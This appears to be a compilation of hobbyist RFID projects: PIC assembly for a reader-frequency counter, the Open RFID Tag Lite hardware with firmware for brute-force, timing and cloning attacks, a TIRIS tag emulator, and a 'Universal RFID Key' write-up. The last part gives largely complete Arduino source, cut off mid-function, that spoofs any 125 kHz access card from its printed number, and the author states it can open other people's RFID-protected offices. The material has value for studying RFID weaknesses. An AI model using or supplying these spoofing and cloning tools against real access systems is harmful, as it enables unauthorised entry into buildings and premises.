    BTFSS    STATUS, C                ; BLINK_COUNTER < BLINK125
    LED1_OFF

    BTFSC    STATUS, C                ; BLINK_COUNTER >= BLINK125
    LED1_ON


    MOVFW    BLINK135                ; W = BLINK_COUNTER - BLINK135
    SUBWF    BLINK_COUNTER,W 
        
    BTFSS    STATUS, C                ; BLINK_COUNTER < BLINK135
    LED2_OFF

    BTFSC    STATUS, C                ; BLINK_COUNTER >= BLINK135
    LED2_ON

    MOVLW    .30
    CALL    _pauseX1mS
    
    DECFSZ    BLINK_COUNTER, F
    GOTO    _blink

    MOVLW    .32
    MOVWF    BLINK_COUNTER    

    GOTO    _blink
    
    

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _initTimer1                                                    ;
;    Desc.:     Initialize the Timer1                                          ;
;    Vars:                                                                     ;
;                                                                              ;
;    Notes:                                                                    ; 
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_initTimer1

    
    BANKSEL    PIE1                ; Bank 1

    CLRF    PIE1                ; Activate the Timer1 Interruption
    BSF        PIE1, TMR1IE                

    BANKSEL    PIR1                ; Bank 0


    BCF    PIR1, TMR1IF            ; Clear the TMR1IF flag
    MOVLW    b‘11000000‘            ; Activate GIE and PEIE
    IORWF    INTCON, F
    
    
    MOVLW    0xFF                ; Write the Timer1
    MOVWF    TMR1H
    MOVLW    -.200
    MOVWF    TMR1L

    MOVLW    b‘00000111‘            ; Timer1: external clock source, synchronous, no prescaler.
    MOVWF    T1CON                ; Timer1 config

    RETURN




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _initTimer0                                                    ;
;    Desc.:     Initialize the Timer0                                          ;
;    Vars:                                                                     ;
;                                                                              ;
;    Notes:                                                                    ; 
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


_initTimer0

    
    BANKSEL    OPTION_REG            ; Bank 1

    MOVLW    b‘00000010‘            ; Timer0: internal clock source, prescaler 8X
    MOVWF    OPTION_REG

    BANKSEL    TMR0                ; Bank 0
    
    CLRF    TMR0                ; Clear TMR0

    RETURN




;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;                                                                          ;;;
;;                                                                            ;;
;    Function:  _ISRTimer1RF                                                   ;
;    Desc.:     Timer1 Interruption Service Routine                            ;
;    Vars:                                                                     ;
;                                                                              ;
;    Notes:                                                                    ; 
;;                                                                            ;;
;;;                                                                          ;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

_ISRTimer1

    BCF        PIR1, TMR1IF            ; Cleart the TMR1F flag

    BANKSEL    PIE1                    ; Bank 1

    BTFSS    PIE1, TMR1IE            ; Check for ghost interrupts
    RETURN                            ; WARNING! Return with the Bank 1 selected

    BANKSEL    TMR1H                    ; Bank 0    
    
    MOVFW    TMR0                    ; Save the period
    ADDLW    -.1                        ; Compensate the 15 instructions that are  <- Should be -.2! 
    MOVWF    PERIOD                     ; executed after the interruption.


    MOVLW    0xFF                    ; Write the Timer1 
    MOVWF    TMR1H
    CLRF    TMR0
    MOVLW    -.200
    MOVWF    TMR1L


    RETURN

    


    END

 

the open rfid tag

技术分享

http://www.t4f.org/archives/Open%20RFID%20Tag%20Lite/schematics/Open%20RFID%20Tag%20Lite%20version%2003.pdf

The first thing that we need to add is a simple user interface. It can be useful for controlling the tag behavior and for getting some feedback about the software status.

SPST buttons connected to the GP2 and GP3 pins are the input interface.

Two capacitors (C5 and C6) have been connected in parallel with each button to debounce the signal. Note that the GP3 pin has a pull-up resistor (R5) and GP2 has not, because it uses the internal programmable pull-up. Remember that the PIC 12F* devices have internal programmable pull-ups in every IO pin except GP3.

The 1K resistors R3 and R4 isolates the IO pins from the capacitors. That is needed, for example, to use a ICSP programmer or a debugger. Without the isolation, the capacitor could load the GP3/#MCLR/Vpp pin, avoiding the ICSP programmer to set the programming voltage and preventing the microcontroller from entering into programming mode.

As “output device”, we use two LEDs polarized through 470 ohms resistors (R1 and R2).

Be careful when using the LED in your firmware. Each led can consume up to 8 mA, several time more than the rest of the circuit. Turning on a LED can load too much the antenna coil and it could be interpreted by the reader as a carrier modulation. Moreover, if the antenna has not enough magnetical flux, it can make the power supply voltage to drop below the minimum.

POWER SUPPLY

When using the “simplest possible RFID emulator”, the first thing that you realize is that it has a not very long reading distance.

Creating a helicoidal coil antenna and tunning it properly helps a lot. However, the reading distance is still shorter than with a “real” RFID tag.

The problem is the way to obtain the energy from the carrier signal.

We are using the bridge rectifier formed by the clamping diodes to extract a power supply signal. Those internal diodes have a forward voltage of 0.6V, causing it a drop of 1.2 volts in the rectified power signal.

Using a external bridge formed by four Schottky diodes will save us more than 600 mV. The omnipresent 1N5819 (with a Vf=0.2V @ 10mA) can be perfect for the task.

In next two images, you can appreciate the difference between using or not using the Schottky bridge rectifier.

The blue trace is the Vcc signal rectified with the Schottky bridge, the green one is without the Schottky diodes and the yellow one is the carrier signal measured in GP5 pin. In both images the oscilloscope was set to 500 mV/div and 4uS/div.

As you can see, using the Schottky diodes instead the internal clamping diodes can save more than 0.6 volts.

More capacitors are added for filtering the power signal. A electrolytic (C4), a tantalum (C3) and a ceramic (C1) capacitors are used. Not all of them are required, but it helps to minimize the impact of high current peaks when, for example, lighting on a LED or using the 8 internal MHz oscillator.

AUTOMATIC GAIN CONTROL (AGC)

First of all, this is not a proper ACG… but I liked the name 

Most of the time, the rectificated power supply will not be high enough ( >6V) to ruin any of the parts. However, the possibility could be given if the reader creates enough magnetic field.

In order to avoid this situation, a protection circuit has been added.

While the power supply voltage is below 5.1 volts, the zenner diode (D1) does not conduct. The base of the transistor (Q1) is tied to GND and is switched off.

How ever, when the Vcc voltage reaches the 5.1 threshold, the transistor starts to conduct current through the 100 ohms resistor (R7). This current loads the antenna coil and makes the Vcc voltage to drop.

ICSP CONNECTOR

A 6 pins connector has been added. It allows an easy access to the microcontroller pins. It can be used for programming/debugging or as input/output device (Example: RS232 bootloader)

The connector’s pin-out is the same than the used by the PicKit2 programmer/debugger. You can buy one for less than 30€ or doing it yourself. Of course, you can use any other programmer like a JDM.

OPEN RFID TAG LITE VERSION 0.3

ADDING THE “WRITE” CAPABILITY

The hardware described until now allows to emulate almost any “READ ONLY” tag, which are those tags that send data (normally a serial or a unique ID number) to the reader as soon as the RF carrier is detected.

There are also other more complex tags that can receive commands from the reader. Normally this feature is used to write data in the memory map of the RFID tag, but other more interesting functions can be implemented like password or “Challenge-Response” authentication.

The reader will send the command to the tag in the same way that the tag send data to the reader: modulating the RF carrier by loading the antenna coil.

We have to demodulate the RF carrier in order to extract the modulating signal, and the simplest way to do this is using an “envelope detector” circuit like this:

技术分享

The diode D4 rectifies the carrier and charges the capacitor C7 when the carrier signal amplitude increases.

When the carrier amplitude decreases the capacitor is discharged trough the resistor R8 (no current will “flow back” trough the diode).

The output signal is the envelope of the carrier… that is, the modulating signal that contain the data information

技术分享

Yellow: Modulating signal at the output of the detector

 

The resulting signal is connected to a coupling capacitor C8 to block the DC voltage

and the coupled output  is connected to the internal voltage comparator of the PIC microcontroller.

技术分享

Reference: 0.5V/V-div  0.4ms/H-div

The voltage comparator will compare the demodulated signal with a voltage reference (0.1 volts aprox, software defined)

and the output will be a “regenerated” signal similar to the data signal transmitted by the reader, ready to be decoded and processed

技术分享

Green: comparator output (1V / V-div)

White: GND
 

WARNING!!!

As you can see in the images, as consequence of the DC coupling, the comparator input signal is negative (< GND)  in half of the cycle.

According to the microcontroller datasheet, a -0.3V voltage at the input of a I/O pin can blow that pin.

I haven’t blow any PIC yet, but keep in mind that you are stressing the microcontroller and it could be fatal.

DOING “MATHS”

The values of the capacitor (C7) and resistor (R8) of the envelope detector has to be correctly calculated.

They both form a low-pass filter whose cutoff frecuency (flp) is

技术分享

The cutoff frecuency has to be high enough to pass the frequency of the modulating signal (fm)

but low enough to block the frequency of the carrier signal (fc).

If flp is too high, the carrier signal will pass and some ripple (noise) will appear in the filtered signal.

However if flp is too low, the modulating signal will be also filtered, and the output will be “clipped”.

Ideally, we have to choose a flp value such as:

技术分享

Let’s calculate R and C!!!

fc = 125 KHz

fm = 1953.125 Hz

In the next image, the effects of choosing a too low flp value are show:

技术分享

Yellow: R=100K C=10nF flp=1000Hz
Blue: R=56K C=10nF flp=1785Hz

The output signal should be “square shaped”, but we can observe

how a low flp introduces a distortion in the output signal by “rounding off” the falling edges.

More rounded as lower is the flp.

In order to avoid this “clipping” effect, flp has to be higher than fm (1953.125 Hz),

but not much higher because it could appear some “ripple” effects:

技术分享

The chosen design values are:

flp = 3030 Hz

R = 33 Kohms

C = 10 nF

3030 Hz should be enough to filter correctly the 1953 Hz signal without having too much ripple noise, neither too “clipping”.

If you want to support a faster encoding scheme, you could have problems with the ripple noise.

In that case, a more complex filtering network is required.

But don’t worry… 3030 Hz is enough to emulate almost any low frequency RFID tag.

OPEN RFID TAG LITE 0.4

The next version of the Open RFID TAG lite has all the modifications to support data reception.

This will allow not only to emulate R/W tags, but also sniff communications and some other interesting features.
People ask me when I am going to finish the 0.4 design. Well… the answer is “as soon as Microchip decide to release the PIC 12F1822″.

One important feature I want to add to the next version of the Open RFID Tag is the ability to program the firmware using the RS232 port or using a RFID writer. To implement this, the microcontroller has to be “self-writable” and no actual PIC12F microcontroller support this and has EEPROM.

Moreover, the 12F1822 has – or will have – an internal 32 MHz clock, much faster than the actual 8 MHz. This speed improvement will be useful to implement some complex algorithms like the HiTAG encryption.

Expect this microcontroller to be released in Q1 of 2010…

 

FIRMWARES

Here you can download the software for the OPEN RFID Tag Lite. Documentation is still needed!!!!

The actual version is the 0.4 and includes:

  • Multimap emulatorStores up to 12 different RFID memory maps (Manchester/Biphase encoding and different data rate are supported). Pressing the button 1, you can choose which one to emulate.A RS232 bootloader is implemented to change the memory maps. Commands:
    • p: prints the stored memory maps.
    • wABCCDDXXXXXXXX : writes a memory map. If the command is well constructed, it returns “OK”
      • A is the number of the memory map. 1 Byte in hex. Values from 0 to B
      • B is the encoding scheme. 1 byte in ASCII. ‘b’ form Biphase , ‘m’ for Manchester
      • CC is the data rate. 2 bytes in hex.
      • DD is the map size. 2 bytes in hex. Maximal value: 0x0F (firmware limited)
      • XXXXXXXXX are the memory map bytes. DD bytes in hex.

 

  • Frequency counterDetects a low frequency RFID reader and shows you the frequency of the carrier (from 115KHz to 145KHz).
    LED1 represents 125 KHz and LED2 represents 135Khz. The LEDs blink proportionally to the received carrier. Examples:

     

    • 115 KHz carrier: LED1 blinks very slowly. LED2 is off
    • 120 KHz carrier: LED1 and LED2 blink slowly. LED2 is blinking slower than LED1
    • 125 KHz carrier: LED1 is on but do not blink. LED2 is blinking slowly.
    • 130 KHz carrier: LED1 and LED2 blink slowly and at the same rate.
    • 135 KHz carrier: LED2 is on but do not blink. LED1 is blinking slowly.
    • ….
  • Timing AttackIt performs a timing attack. The tag will transmit a memory map and will measure the time between the end of the transmission and denial event occurs. The event can be a rise edge of a signal measured inside the reader circuit (intrusive attack) or can be an acoustic or light signal (non intrusive attack). In this last case, you have to attach to the Open RFID Tag a circuit like an microphone or a light detector.The RS232 connection is used to program the transmitted memory map and read the measured times.
    A PC-side software (not provided) is needed to perform the calculations and to decide which memory map try next.

DOWNLOAD

OTHER FIRMWARES

These link has a VERY experimental firmware for cloning RFID tags “on the fly” and 100% passive. You can read more about it here.

These are old firmwares that can be useful.

  • Brute-Force & Multimap ALL-in-1
    This is the old 0.2 version of the firmware. I have not yet ported the “Brute Force Attack” to the 0.4 version of the firmware, so you have to use this old one.
    It is commented in spanish and the code is a mess…DOWNLOAD
  • EM4100 emulator
    A simple EM4100 emulator.
    DOWNLOAD
    HOW IT WORKS

 

RFID emulator

The underground waste containers in my neighborhood used to have an access system based on Texas Instruments’ TIRIS RFID tags.

The tags contain a 64-bit read-only identifier that is read using a low-frequency (LF) electromagnetic field of around 134 kHz.

Data bits are modulated using Frequency Shift Keying (FSK).

Since the system was fairly simple and involved signals of relatively low frequencies,

I decided to have a go at creating a microcontroller based solution to emulate and read these RFID tags.

Analog front-end

The main problem would be the design of the analog front-end.

A tuned coil, driven at the correct frequencies, was needed to emulate an authentic tag and to be able to read other tags.

An amplification and filtering stage was required to receive the often small return-signals of the tags.

Signal modulation and demodulation would be done entirely using the PIC microcontroller.

The software was coded using assembly to have better control of the strict signal timings.

The initial analog front-end was based on a pair of bipolar transistors to drive the coil.

A diode clamping section was needed to prevent the signal levels from getting too high for the microcontroller input.

This design didn’t work that well in practice because of the lack of amplification.

It could emulate tags but wasn’t able to read them and it also needed a more elaborate transistor biasing circuit.

Searching for better solutions, I found an Elektor article (TIRIS RFID Reader – October 2005),

describing an analog interface containing an amplification stage using op-amps (NE5532)

and a driving section using P- and N-channel MOSFETs.

I based my design for the most part on the design from this article with only minor changes to the components used.

The images below show the prototype of this improved design on breadboard,

with the microcontroller on the bottom and the analog front-end on a separate PCB on top, to reduce unwanted noise.

The prototyping PCB in the top-right corner, shown in detail in the right image, contains the SMD read-coil and tuning capacitors.

技术分享

Final hardware

After the prototype on breadboard was working, I started designing the final hardware. The goal was to make the emulator portable, so I could easily use it outdoors. I decided to use a 9V battery to power it because it has enough capacity and it’s simple to convert to 5V using a linear regulator. The following schematic shows the completed design, including microcontroller, analog front-end, user-interface and power supply.

技术分享

Coil L1 measures 1.08 mH and resonates at the correct frequency with the addition of 1220 pF of tuning capacitance (C9-C11). The coil is driven by two SMD FETs (Q1 and Q2) and delivers its signal (CAP) via a diode clamping stage (D1 and D2), to the dual op-amps of IC1. The diodes also bias the signal to around half the supply voltage (~2.5V). A reference voltage for the op-amps and the microcontroller is generated using 10 kΩ resistors R8 and R9 and 10 µF capacitor C8. The output signal of IC1 (SIG) is connected to the comparator input of the PIC.

The corresponding PCBs measure 29.5 x 50 mm and were designed to use mostly SMD components.

技术分享

The populated PCB is shown below. It is mounted on a Keystone 1294 9V battery holder with slightly bent solder tabs. The coil at the top-left is a Coilcraft 4308RV series 1.08 mH RFID transponder coil (4308RV-115X). This SMD coil has a slightly reduced operating range compared to a full-size coil, but is far more portable and works almost as well. The two buttons can be controlled with one hand and the LEDs give feedback on the current operating state. The PCB also features connectors for serial communications and in-circuit reprogramming of the microcontroller.

技术分享

Schematic and PCB layout are available in the downloads section.

Software

Transmitting tag data is accomplished by switching the coil output according to precisely timed bit-sequences. Delays are generated by jumping into a delay-table at specific locations. Every instruction used has a specific delay, so a lot of care has to be taken to output a correctly timed signal. For receiving, the internal comparator is wired to the CCP module in such a way that an interrupt is triggered on a rising edge of the input signal. This allows the software to measure the frequency of the input signal using a timer, and determine the value of the bits received.

A Universal RFID Key

技术分享

 
RFID projects have been pretty prominent recently, ranging from projects here in Instructables, to our local Silicon Chip magazine in Australia publishing a RFID door lock project in their November issue.  Even I recently purchased a RFID door lock on eBay for $15 to lock my garage (so my front neighbor could get tools if he wanted to).

We have known that the cheaper RFID technologies were pretty insecure for a number of years.  Researchers have demonstrated cloners of all varieties, but simple RFID tags are still being used for access control.  Even my current employer uses them.

A while ago, I was looking at Hack A Day, and I saw an amazing project that somebody had made.  It was an RFID card with a keypad on it.  For the next couple of days, I couldn‘t get the image of the card out of my mind;  the project reminded me of how much I wanted to build a RFID spoofer myself.  The original author didn‘t release source code for their project, but they left enough clues that I could follow. 

So, in typical fashion,  I built my own reader hardware so I could have a look at the data from a card, and created my own version of the Universal RFID key.

The key I made works beautifully both on my garage door, as well as a number of other RFID readers I have tried!

I have decided to publish this, as more people should be aware of the design flaws that are inherent in older RFID implementations, and to allow others to make their own universal key.

Will this key let you into anybodies RFID protected office?  Yes it will, assuming a couple of things are true

  1)  The have to be using 125kHz RFID tags that use the same encoding standard as I have designed this project for, and,
  2)  You have to have access to the number printed on the back of the tag - with that number, you can simply key it into the Universal RFID key, and it will emulate that tag.

So there you go - I hope you enjoy making this project.  - And remember, with great power comes great responsibility!

Step 1: How does RFID work?

技术分享

RFID, or Radio Frequency IDentification is the term used to describe a wide variety of  standards that allow data stored within electronic ‘tags‘ to be read by a reader without using wires.  There are a number of standards, encoding formats, and frequencies in common use.   I will describe the 125 kHz standard that is common for access control mechanisms.

125 kHz RFID tags are commonly encased in a business card sized piece of plastic, or a round disk.  The tag consists of a coil of wire, connected to a microchip.  When the tag is brought into close proximity to a reader, energy is coupled inductively from the reader to the microchip within the tag. 

The energy from the reader has dual use; firstly, it provides power to run the card, and secondly, it provides a communication medium for data to be transmitted.  Once powered up, the tag modulates the bit pattern that is programmed into the tag using a signal that the reader can detect.  The reader then reads this bit pattern, and passes it onto the door controller.  If the bit pattern matches one that is authorised, the door will be unlocked.  If the bit pattern does not match an authorised one, then the door won‘t unlock.

In the RFID system I was playing with, the bit pattern looked like this;

1111111110010111000000000000001111100010111110111101001111010000

I will describe what this pattern actually means in the next page.

One interesting feature of the data transfer between the card and the reader, is that data is encoded using Manchester Encoding, which is a way of encoding data so that it can be transmitted over a single wire ensuring that the clock information is able to be recovered easily.  With Manchester encoding, there is always a transition in the middle of a bit.  If you want to transmit a 1, the transition would be from low to high, and if you want to transmit a 0, the transition would from from high to low.  Because the transitions are in the middle of each bit, you can ensure that you have locked onto valid data.  For a detailed description, have a look a this page.

The actual data is transmitted by the card effectively shorting the coil out - this applies an additional load to the transmitter in the reader, which can be detected.

Step 2: Whats stored on the card?

技术分享

I started by building a RFID card reader (more details in a  future article).  That showed me the data that was being sent when the card transmitted its information.

The RFID cards that I brought have numbers printed on the back of them.  This number says what data the card has included in it.

the card with  0007820706  119,21922 printed on it transmits this pattern:
1111111110010111000000000000001111011110101001010101000010101100

The first set of 111111111 bits are the start sequence - it is used to tell the reader that a code is coming - the reader also uses the sequence to lock onto the card data.

Data stored is transmitted in groups of 4 bits, with a parity bit at the end of every group.

The data can be broken up as follows;
00101 11000 00000 00000 01111 01111 01010 01010 10100 00101 0110                0

If we ignore the parity bit at the end of every nibble we have

0010    1100    0000    0000    0111    0111    0101   0101  1010   0010    0110              0
     2          C        0           0            7          7          5          5           A          2     CHECKSUM   STOP


This code is  2c 0077 55a2  if we break the code into 3 groups, we have 2c, followed by 0077 (which is 119 in decimal), and finally 55A2, which is  21922 in decimal - this corresponds to the 119,21922. 

The same number is also written in another way on these cards 0007820706 (in decimal) is simply the hexadecimal number 7755A2.

WOOT we now understand how the data is stored.

2C is a constant code that is sent with all of the cards.  It is simply a facility identifier for this RFID system.


How does the parity and checksum work?

One final piece of data that the card transmits is a checksum word - this is used to ensure that all of the data has been received successfully.  Firstly, the parity bit at the end of each nibble of data is Even parity - this means that the transmitter will add a 1 to make sure that each block of data has an ‘even‘ number of ‘1‘ bits -  So if we look a the ‘2‘, which is 0010 in binary - the parity system would detect that there was an odd number of ‘1‘ bits, and would add one to compensate.  Compare that to the ‘C‘ which is 1100, the parity system would detect that there are an even number of ‘1‘ bits, so it would add a zero.


00101 2
11000 C
00000 0
00000 0
01111 7
01111 7
01010 5
01010 5
10100 A
00101 2

0110 checksum    + 0 stop bit

Finally, the checksum is an even parity bit applied to each of the vertical row bits.  This way, there is a horizontal and vertical check of every bit sent - everything has to line up, or the reader will simply reject the transmission.

When I decoded the data for my work prox card, it followed a similar sequence here, but (for obvious reasons) I won‘t actually publish the numbers.  Again, part of the sequence was a facility code, and the rest of the sequence held the same number that was printed on the back of the card.

Step 3: How do we emulate a card?

技术分享

So the next step was to identify how to pretend to be a card - I wanted a card that I could type a card number into,

so it had to have a microprocessor on it, was well as a keypad to allow the data to be keyed in.

The ATMega  manipulates the 125kHz RF field by using a bridge rectifier. 

When the output of the micro is low, the diodes in the bridge are allowed to be turned on by the current induced in the coil,  this effectively short it out. 

The reader detects the additional load, and a bit transition is detected.

The job of the micro is simply to turn the output on and off in a way that makes sense to our reader. 

So I created a board that had the micro, a power supply, keypad, and some status LEDs on it.

The attached PDF is the full schematic of the project.

You may notice that c6 is 0pF -  That is intentional  c6 is a placeholder component allowing me to either use a 1000pF surface mount cap, or a 1000pF through hole cap.

The coil is 100 turns of fine wire would on an open former that is just smaller than the card border.

RFIDSpoofer-schematic.pdf

技术分享

Step 4: The Software - Entering data into our card

The software was next. 
 
Using the Arduino IDE,  I implemented a simple menu system that allowed me to enter the relevant facility and CardID data directly from the keypad. 
I also provided a way of displaying the data using the LEDs that I mounted on the board.

One problem I came across, was when I was calculating the card data (parity and checksum) on the fly -
To be read successfully, the card has to output data in real time (most readers need a number of sequential valid reads),
and adding subroutine and calculation delays caused the card to output invalid data as far as the reader was concerned. 
I worked around this problem by populating an array of bits that gets sent when the card is in transmit more. 
That way, the calculations are done only once.

When the card is powered up, it waits for the ‘mode‘ button to be pressed. 
The current mode number is displayed using a set of 4 LEDs. 
Each press on the ‘mode‘ button increments the current mode. 
Once the correct mode is displayed, then the ‘enter‘ key starts that function executing.

MODE 1 - Enter low power (sleep) mode

The card enters a low power mode, waiting for the reset button to be pressed to re-awaken it

MODE 2 - Enter a Hex Facility ID

The card waits for 2 digits to be entered signifying the facility code for this system (In this case, it is 2C) - The software defaults to 2C - so this does not need to be entered.

MODE 3 - Decimal Card ID
The card waits for 8 digits to be entered signifying the CardID for the card to be spoofed (In this case, it is 07820706)  - This is the long number printed on the back of the card, not the 119,21922 number.

MODE 4 - Dump the facility and Card ID
The Facility and Card ID are Dumped as Hex numbers using the 4 Leds at the top of the card.

MODE 5 - Emulate a card
The card enters emulation mode - all LEDs are turned off. 
Emulation mode can only be exited by pressing the reset button.


The software relies on Mark Stanley‘s and Alexander Brevig‘s Keypad Library
http://www.arduino.cc/playground/Code/Keypad
#include <Keypad.h>
#include <stdio.h>
#include <EEPROM.h>
#include <avr/interrupt.h>
#include <avr/io.h>
#include <avr/sleep.h>

// uncomment the following line to get debug information dumped
#define SERIALDEBUG


/***************************************************************************
 *                                                                         *
 *  A Universal RFID Key - Instructables Version                           *
 *                                                                         *
 *   Copyright (C) 2010  Doug Jackson (doug@doughq.com)                    *
 *                                                                         *
 ***************************************************************************
 *                                                                         * 
 * This program is free software; you can redistribute it and/or modify    *
 * it under the terms of the GNU General Public License as published by    *
 * the Free Software Foundation; either version 2 of the License, or       *
 * (at your option) any later version.                                     *
 *                                                                         *
 * This program is distributed in the hope that it will be useful,         *
 * but WITHOUT ANY WARRANTY; without even the implied warranty of          *
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           *
 * GNU General Public License for more details.                            *
 *                                                                         *
 * You should have received a copy of the GNU General Public License       *
 * along with this program; if not, write to the Free Software             *
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,                   *
 * MA  02111-1307  USA                                                     *
 *                                                                         *
 ***************************************************************************
 *                                                                         *
 *    * * * * * * * *      W A R N I N G     * * * * * * * * * *           *
 * This project implements what is effectively a universal skeleton key    *
 * for use on a range of RFID access systems.  It is presented for         *
 * educational and demonstration purposes only to enable others to learn   *
 * about the design and limitations of RFID technologies.                  *
 *                                                                         *
 * The Author is not responsible for misuse of the technological system    *
 * implemented by this software - USE AT YOUR OWN RISK!!                   *
 *                                                                         *
 ***************************************************************************
 *
 * 
 * Revision History
 * 
 * Date      By    What
 * 20101002    DRJ    Initial Creation of Arduino Version 
 * 20101024     DRJ     Added facility to arbitrarily enter a facility and 
 *                      UserID number
 * 20101025     DRJ     Added ability to enter decimal UserID
 * 20101124     DRJ     Removed my Work specific functions for public release
 ***************************************************************************
 * 
 *  COMMAND STRUCTURE
 *
 * Mode key is pressed until appropriate mode is displayed on 4 upper leds
 * Enter key triggers action
 *
 * Mode 1 - Sleep (power down till next reset)
 * Mode 2 - Allow HEX facility code to be entered 
 *          2 decimal characters are then read into facility[] array;
 * Mode 3 - Allow Decimal userID to be entered
 *          8 decimal characters are then read into user[] array;
 * Mode 4 - Dump data - Facility code and User code are output on 4 LEDs one byte at a time
 * Mode 5 - Emulate Card
 *
 *
 *************************************************************************************/

#define DATALED1 0
#define DATALED2 1
#define DATALED3 2
#define DATALED4 3
#define STATUSLED1 8
#define STATUSLED2 9

// the Coil is connected to Analog 5 = Digital 19
#define COIL 19


const byte ROWS = 5; //five rows
const byte COLS = 4; //four columns
char keys[ROWS][COLS] = {
  {
    ‘1‘,‘2‘,‘3‘,‘A‘                  }
  ,
  {
    ‘4‘,‘5‘,‘6‘,‘B‘                  }
  ,
  {
    ‘7‘,‘8‘,‘9‘,‘C‘                  }
  ,
  {
    ‘*‘,‘0‘,‘#‘,‘D‘                  }
  ,
  {
    ‘N‘,‘M‘,‘F‘,‘E‘                  }
  ,

};
byte rowPins[ROWS] = {
  10, 11, 13, 17, 15}; //connect to the row pinouts of the keypad
byte colPins[COLS] = {
  12, 14, 16, 18}; //connect to the column pinouts of the keypad

byte facility[2]={ 0x02, 0x0C };
byte cardID[8]={ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
int colsum[4]={ 0,0,0,0}; // storage for the column checksums

// delay between symbols when we are transmitting
int bittime=256;

byte RFIDdata[128];


Keypad keypad = Keypad( makeKeymap(keys), rowPins, colPins, ROWS, COLS );

int clock=0;  // storage for the current state of our clock signal.

byte datapointer=0;
byte state;
byte mode=1;


void setup()
{

  pinMode(DATALED1, OUTPUT); 
  pinMode(DATALED2, OUTPUT); 
  pinMode(DATALED3, OUTPUT);  
  pinMode(DATALED4, OUTPUT); 
  pinMode(STATUSLED1, OUTPUT); 
  pinMode(STATUSLED2, OUTPUT); 


  pinMode(COIL, OUTPUT);
  //Start with it LOW  
  digitalWrite(COIL, LOW);

  if (EEPROM.read(0)==0xa5)
  {
      facility[0]=EEPROM.read(1);
      facility[1]=EEPROM.read(2);
      
      cardID[0]=EEPROM.read(3);
      cardID[1]=EEPROM.read(4);
      cardID[2]=EEPROM.read(5);
      cardID[3]=EEPROM.read(6);
      cardID[4]=EEPROM.read(7);
      cardID[5]=EEPROM.read(8);
      cardID[6]=EEPROM.read(9);
      cardID[7]=EEPROM.read(10);
  }
  else
 {
    EEPROM.write(0,0xa5);
    facility[0]=0x02; EEPROM.write(1,facility[0]);  
    facility[1]=0x0c; EEPROM.write(2,facility[1]);
      for (int i=0; i<8; i++) 
    {
      cardID[i]=0; EEPROM.write(i+2,cardID[i]);
    }
  }
    

    #ifdef SERIALDEBUG 
    Serial.begin(9600);  
    delay(200);
    Serial.println("  ");
    Serial.println("RFID Spoofer (c) 2010 D Jackson"); 
    #endif
}

void WriteHeader(void)
{
  // a header consists of 9 one bits
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1;  
  RFIDdata[datapointer++]=1;  
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1; 
  RFIDdata[datapointer++]=1; 
}


void WriteData(byte nibble)
{
  byte data;
  byte rowsum=0;
  for (int i=4; i>0; i--)
  {
    if ((nibble& 1<<i-1) ==0)  
    {
      data=0; 
    }
    else 
    {
      data=1;
      rowsum++;  // increment the checksum value
      colsum[i-1]++; // increment the column checksum
    }


    RFIDdata[datapointer++]= data;
    #ifdef SERIALDEBUG 
      Serial.print((int) data); 
    #endif
     
  }
  // write the row checksum out
  if ((rowsum%2)==0)  
  {
    RFIDdata[datapointer++]=0; 
    #ifdef SERIALDEBUG 
      Serial.print((int)0); 
    #endif
    
  }
  else
  {  
    RFIDdata[datapointer++]=1; 
    #ifdef SERIALDEBUG 
      Serial.print((int)1); 
    #endif
  }

    #ifdef SERIALDEBUG 
      Serial.println(); 
    #endif

}


void WriteChecksum(void)
{
  byte data;
  byte rowsum=0;
  for (int i=4; i>0; i--)
  {
    if ((colsum[i-1]%2) ==0)  
    {
      RFIDdata[datapointer++]=0; 
     #ifdef SERIALDEBUG 
      Serial.print((int)0); 
     #endif
    }
    else
    {
      RFIDdata[datapointer++]=1; 
      #ifdef SERIALDEBUG 
      Serial.print((int) 1); 
      #endif
    }  
  }

  // write the stop bit
  RFIDdata[datapointer++]=0; 

      #ifdef SERIALDEBUG 
      Serial.print((int)0); 
      #endif

}





void BuildCard(void)
{
  // load up the RFID array with card data
  // intitalise the write pointer
  datapointer=0;

  WriteHeader();
  // Write facility
  WriteData(facility[0]);
  WriteData(facility[1]);
 
  // Write cardID
  WriteData(cardID[0]);
  WriteData(cardID[1]);
  WriteData(cardID[2]);
  WriteData(cardID[3]);
  WriteData(cardID[4]);  
  WriteData(cardID[5]);
  WriteData(cardID[6]);  
  WriteData(cardID[7]);

  WriteChecksum();
}


void TransmitManchester(int cycle, int data)
{

  if(cycle ^ data == 1)
  {
    digitalWrite(COIL, HIGH);
  }
  else
  {
    digitalWrite(COIL, LOW);  
  }
}




void writedataLEDS(int temp)
{
  if (temp & 1<<0) digitalWrite(DATALED1,HIGH); 
  else digitalWrite(DATALED1,LOW);
  if (temp & 1<<1) digitalWrite(DATALED2,HIGH); 
  else digitalWrite(DATALED2,LOW);
  if (temp & 1<<2) digitalWrite(DATALED3,HIGH); 
  else digitalWrite(DATALED3,LOW);
  if (temp & 1<<3) digitalWrite(DATALED4,HIGH); 
